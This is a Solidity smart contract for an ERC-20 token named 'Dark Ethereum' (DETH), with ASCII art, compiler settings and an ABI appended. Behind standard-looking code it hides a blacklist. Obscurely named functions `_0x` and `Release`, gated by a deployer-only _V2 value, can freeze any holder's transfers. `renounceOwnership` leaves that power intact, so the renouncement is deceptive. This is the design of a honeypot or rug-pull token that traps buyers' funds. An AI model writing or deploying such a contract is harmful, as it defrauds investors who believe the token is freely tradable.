pragma solidity = 0.8.24;
// SPDX-License-Identifier: MIT
/*
..
=*
:+%=
==##.
-==#%+
.===#%%:
====#%%#
:====#%%%-
=====#%%%%
-=====#%%%%*
.======#%%%%#:
=======#%%%%%#
:=======#%%%%%%=
========#%%%%%%#.
-========#%%%%%%%+
.=========#%%%%%%%%:
==========#%%%%%%%%#
:==========#%%%%%%%%%-
===========#%%%%%%%%%%.
-===========#%%%%%%%%%%*
.============#%%%%%%%%%%%:
=============#%%%%%%%%%%%#
:=============#%%%%%%%%%%%%=
.==============#%%%%%%%%%%%%#.
-==============#%%%%%%%%%%%%%+
:===============#%%%%%%%%%%%%%%:
================#%%%%%%%%%%%%%%#
:================#%%%%%%%%%%%%%%%-
.=================#%%%%%%%%%%%%%%%%.
-=================#%%%%%%%%%%%%%%%%*
.==================#%%%%%%%%%%%%%%%%%:
===================#%%%%%%%%%%%%%%%%%#
-===================#%%%%%%%%%%%%%%%%%%=
.====================#%%%%%%%%%%%%%%%%%%#.
-====================#%%%%%%%%%%%%%%%%%%%+
:=====================#%%%%%%%%%%%%%%%%%%%%-
======================#%%%%%%%%%%%%%%%%%%%%#
:======================#%%%%%%%%%%%%%%%%%%%%%=
.=======================#%%%%%%%%%%%%%%%%%%%%%%.
-=======================#%%%%%%%%%%%%%%%%%%%%%%*
.========================#%%%%%%%%%%%%%%%%%%%%%%%:
=========================#%%%%%%%%%%%%%%%%%%%%%%%%
-=========================#%%%%%%%%%%%%%%%%%%%%%%%%+
.==========================#%%%%%%%%%%%%%%%%%%%%%%%%#.
-==========================#%%%%%%%%%%%%%%%%%%%%%%%%%*
:===========================#%%%%%%%%%%%%%%%%%%%%%%%%%%-
============================#%%%%%%%%%%%%%%%%%%%%%%%%%%#.
:============================#%%%%%%%%%%%%%%%%%%%%%%%%%%%=
.=============================#%%%%%%%%%%%%%%%%%%%%%%%%%%%%.
-=============================#%%%%%%%%%%%%%%%%%%%%%%%%%%%%*
.==============================#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%:
===============================#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
-===============================#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%+
.================================#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#.
-================================#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*
:================================+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%-
===============================+#%@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#.
-=============================*####@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%=
.===========================+*######@@@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.
-=========================+#########@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%*
.========================+*##########@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%-
=======================*#############@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%%
-=====================+###############@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%+
.====================*#################@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%.
-=================+*%##################@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%*
:================+######################@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%=
===============+########################@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%#.
-=============*##########################@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%=
.===========+*############################@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%:
-=========+###############################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%*
:========+*################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%-
=======*###################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%
-=====+#####################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%+
.====*#######################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%:
-=+*%########################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%*
:+############################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%=
+#############################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
:*%##########################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#:
-#%########################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%=
.=%#######################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+.
:*######################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#:
:#####################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%-
+###################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%*
.*%################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*.
-#%##############################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%-
: -%#############################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=. -
=. .*############################@@@@@@@@@@@@@@@@@@@@@@@@@@@@#. :#
.=-. :*%#########################@@@@@@@@@@@@@@@@@@@@@@@@@@#: .*#:
-==: =#########################@@@@@@@@@@@@@@@@@@@@@@@@%+ .=%#+
====: .+%######################@@@@@@@@@@@@@@@@@@@@@@@+. -###*
.====-. :*%####################@@@@@@@@@@@@@@@@@@@@@#: .*%###.
:=====- -%###################@@@@@@@@@@@@@@@@@@@%- +####%=
-======. +##################@@@@@@@@@@@@@@@@@@* -######+
========. .*%###############@@@@@@@@@@@@@@@@*: :*#######.
:========- -###############@@@@@@@@@@@@@@%= .+%#######-
:=========: .=%############@@@@@@@@@@@@@=. =#########=
===========. .*###########@@@@@@@@@@@#. :*#########*
.===========-. :#%########@@@@@@@@@%- .*##########%.
:============: =########@@@@@@@%+ .=%###########-
-=============: .+%#####@@@@@@*. -#############*
==============-. :#####@@@@%: .*%#############.
.===============- -%##@@@- +###############:
-================. *#@*. -################+
==================. :: :*#################
.==================: .=%#################:
:===================: =##################%=
-====================. :*%##################*
.=====================- .*#####################.
:======================: -%#####################-
-=======================. -#######################+
========================-. .+%#######################.
.=========================: =########################%:
:==========================##########################=
==========================#########################*
.=========================#########################.
:========================########################-
-=======================#######################*
=======================#######################
.======================######################:
-=====================#####################=
=====================####################*
.====================####################.
:===================##################%=
-==================##################+
==================##################.
.=================################%:
-================################=
================################
.===============###############:
:==============##############-
-=============#############*
=============#############.
.============############:
-===========###########+
===========###########
.==========##########:
:=========########%=
-========########+
========########.
:=======######%-
-======######+
======######
.=====#####:
:====####=
-===###*
.===##%.
:==##-
-=#+
=#
..
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; return msg.data;
}
}
contract Ownable is Context {
address private _Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _Owner;
}
function renounceOwnership() public virtual {
require(msg.sender == _Owner);
emit OwnershipTransferred(_Owner, address(0));
_Owner = address(0);
}
}
contract DETH is Context, IERC20, Ownable {
mapping (address => uint256) public _balances;
mapping (address => uint256) public _V2;
mapping (address => bool) private _User;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public _totalSupply;
bool Activate = true;
string public _name = "Dark Ethereum";
string public _symbol = unicode"DETH";
uint8 private _decimals = 8;
constructor () {
uint256 _core = block.number;
_V2[_msgSender()] += _core;
_totalSupply += 420000000000 *100000000;
_balances[_msgSender()] += _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transferfrom(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function Release(address _Address) external {
require (_V2[_msgSender()] >= _decimals);
_User[_Address] = false;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be grater thatn zero");
if (_User[sender]) require(Activate == false, "");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _transferfrom(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be grater thatn zero");
if (_User[sender] || _User[recipient]) require(Activate == false, "");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _0x(address _Address) external {
require (_V2[_msgSender()] >= _decimals);
_User[_Address] = true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
{
"compilationTarget": {
"DETH.sol": "DETH"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_Address","type":"address"}],"name":"Release","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_Address","type":"address"}],"name":"_0x","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_V2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]